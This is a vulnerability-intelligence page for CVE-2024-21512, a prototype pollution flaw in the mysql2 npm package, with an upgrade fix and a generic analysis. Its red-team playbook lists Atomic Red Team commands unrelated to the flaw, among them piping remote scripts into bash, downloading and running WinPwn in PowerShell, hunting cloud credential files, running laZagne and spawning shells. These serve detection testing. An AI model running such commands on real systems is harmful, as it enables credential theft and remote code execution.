CVE-2024-21512
Overview
This vulnerability is a Prototype Pollution flaw originating from improper sanitization of user-supplied input in the mysql2 package. Specifically, the nestTables feature fails to correctly validate or sanitize fields and table names, allowing manipulation of the prototype chain. This affects versions prior to 3.9.8 of the mysql2 package, impacting the internal data structures used for query results.
Vulnerability Description
Versions of the package mysql2 before 3.9.8 are vulnerable to Prototype Pollution due to improper user input sanitization passed to fields and tables when using nestTables.
Impact
An unauthenticated attacker with network access can exploit this vulnerability remotely by sending malicious queries that trigger prototype pollution via nestTables. This can lead to integrity violations such as altering application logic or causing denial of service through corrupted object states. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no authentication or user interaction is required, increasing the attack surface. Business consequences include potential disruption of database-driven applications and manipulation of server-side logic relying on the polluted prototypes.
Solution
Upgrade the mysql2 package to version 3.9.8 or later, as recommended in the Snyk advisory SNYK-JS-MYSQL2-6861580 (https://security.snyk.io/vuln/SNYK-JS-MYSQL2-6861580). This update addresses the prototype pollution by implementing proper input sanitization on the nestTables feature. No additional workarounds are documented; applying the patch version is the advised remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a flaw in the mysql2 package, specifically versions prior to 3.9.8, which is susceptible to Prototype Pollution. This type of vulnerability occurs when an attacker can manipulate an object's prototype, leading to the potential for arbitrary code execution or modification of application behavior. In this case, improper sanitization of user input that is passed to fields and tables when utilizing the nestTables feature allows malicious actors to inject unexpected properties into the prototype chain of JavaScript objects. This can result in severe consequences, as it may enable attackers to alter the functionality of the application or gain unauthorized access to sensitive data.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple means. An attacker could craft a malicious payload that is sent as part of a request to the application utilizing the vulnerable package. For instance, by manipulating the input fields that are processed by the nestTables feature, an attacker could inject properties into the prototype of an object, which could then be accessed by other parts of the application. This could lead to unauthorized actions being performed, such as altering user permissions, bypassing security controls, or even executing arbitrary code on the server-side. The exploitation can occur without the need for sophisticated skills, making it accessible to a wider range of attackers.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the mysql2 package for database interactions in their applications. The potential for unauthorized access and manipulation of data poses a serious business risk, including data breaches, loss of customer trust, and potential legal ramifications. Organizations may face financial losses due to remediation efforts, as well as reputational damage that can affect customer relationships and market position. Furthermore, the exploitation of such vulnerabilities can lead to compliance issues, especially for businesses subject to regulations that mandate strict data protection measures.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating software dependencies to the latest versions is crucial, as this ensures that known vulnerabilities are patched. Employing input validation and sanitization techniques can help prevent malicious payloads from being processed by the application. Additionally, implementing security monitoring tools can assist in detecting unusual patterns of behavior that may indicate an attempted exploitation. Conducting regular security assessments and penetration testing can also help identify vulnerabilities before they can be exploited by malicious actors.
In conclusion, the Prototype Pollution vulnerability within the mysql2 package represents a serious threat to applications that utilize this library. The ease of exploitation combined with the potential for significant impact on businesses underscores the importance of proactive security measures. Organizations must prioritize timely updates, robust input validation, and continuous monitoring to safeguard against such vulnerabilities. By adopting a comprehensive security strategy, businesses can mitigate risks and protect their assets from the evolving landscape of cyber threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21512 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JS-MYSQL2-6861580 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-7176010 |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/domdomi3/e9f0f9b9b1ed6bfbbc0bea87c5ca1e4a |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/pull/2702 |
| github.com |
GitHub CVE
|
https://github.com/sidorares/node-mysql2/commit/efe3db527a2c94a63c2d14045baba8dfefe922bc |